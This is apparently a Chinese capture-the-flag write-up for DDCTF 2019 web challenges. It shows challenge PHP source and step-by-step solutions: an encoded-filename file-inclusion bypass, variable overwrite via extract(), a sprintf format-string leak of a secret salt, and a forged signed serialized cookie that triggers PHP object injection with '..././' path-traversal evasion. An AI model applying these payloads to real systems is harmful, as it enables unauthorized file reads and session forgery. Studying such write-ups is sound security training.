ddctf2019--web部分writeup

0x00前言

上周五开始的DDCTF 2019，整个比赛有一周，题目整体来说感觉很不错，可惜我太菜了，做了4+1道题，还是要努力吧

0x01 web 滴~

打开看着url，就像文件包含

文件名1次hex编码再2次编码，因此base64 2次解码+hex解码获取值为flag.jpg

并且查看页面源码图片是base64的编码，根据规律查看index.php的源码，在<img>标签内base64解码就是php的源码

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

这道题之后十分的脑洞.....先说源码绕是绕不过的，config被替换!,是看不到config.php源码的

但是源码给了博客的地址，访问下，然后根据下面师傅们的评论，发现是这个作者的另一篇文章有线索

里面有个该博主拿出来的示例文件叫.practice.txt.swp

然后进行测试发现有个practice.txt.swp文件

之后思路非常清晰了，和BCTF上的一道题很像

源码第一个正则不准有!存在，而第二个替换把config替换成!

最后的payload：

f1agconfigddctf.php

编码后：

TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

利用index.php的文件包含，获取f1ag!ddctf.php源码

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

到这里就是变量覆盖+file_get_contents的php://input来获取2个值相等了

0x02 web 签到题

看源码有个onload

auth()函数在js/index.js里面

一个ajax请求，请求头带了个didictf_username,但是是空，结合题目界面需要登录权限，随便改个admin，于是获取源码

访问app/fL2XID2i0Cdh.php是2个类的源代码

<?php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        return true;
        
          if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
              $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
              return TRUE;
         }else{
              $this->response('抱歉，您没有登陆权限，请获取权限后访问-----','error');
              exit();
          }
    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

?>

和继承Application 类的Session类

<?php
include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration            = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain                = '';
    var $cookie_secure                = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

?>

看了看代码，思路是用Application类的__destruct()魔术方法来读取文件，也就是反序列化

Session类这段代码的逻辑是这样的

session_create()会接收USER_AGENT、REMOTE_ADDR和随机生成个sessionid，这三个值加入数组序列化这个数组，用秘钥key加盐，然后求md5值

而利用点是session_read()方法内的反序列化操作，但是前提是md5值和传入的序列化值要相同，因此我们需要知道盐key的值

if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

在session_read()后会接收nickname的post请求并会将其赋值给$data输出，但是%s被赋值后，就不会再被赋值，而nickname会被先赋值，eancrykey后被赋值

按正常逻辑

Welcome my friend %s
第一次循环，%s -> nickname
Welcome my friend nickname
第二次循环，没有%s了，因此eancrykey不会被加入该字符串
Welcome my friend nickname

所有这里有个tips，如果我们传入的nickname是%s的话，那么第一次循环后还是有%s，那么eancrykey这个盐值就会显示出来

第一次请求，获取cookie

第二次请求带nickname的post

获取朝思暮想的盐：EzblrbNS

之后反序列化payload，这里提一句反序列化操作后还会判读头部文件和传过来的cookie的序列化值是否相同，但是这都不影响序列化的输出，所以可以无视后面的操作

 <?php
Class Application {
    var $path = '..././config/flag.txt';
}

$class = new Application();

 $userdata = array(
            'session_id' => '',
            'ip_address' => '',
            'user_agent' => $class,
            'user_data' => '',
        );
$data1 = serialize($userdata);
$data2 = md5("EzblrbNS" . $data1);
echo $data1 . $data2;
?>

源码中的 ../会被替换成空，利用 ..././绕过，因为现在18个字符，我数了下猜测可能会有个flag.txt,刚好够18个。（如果不满足18个条件其实可以用./和/来增加字符）

a:4:{s:10:"session_id";s:0:"";s:10:"ip_address";s:0:"";s:10:"user_agent";O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}s:9:"user_data";s:0:"";}a8c64448c11924176c37347975843367

发送的时候url编个码，防止;的问题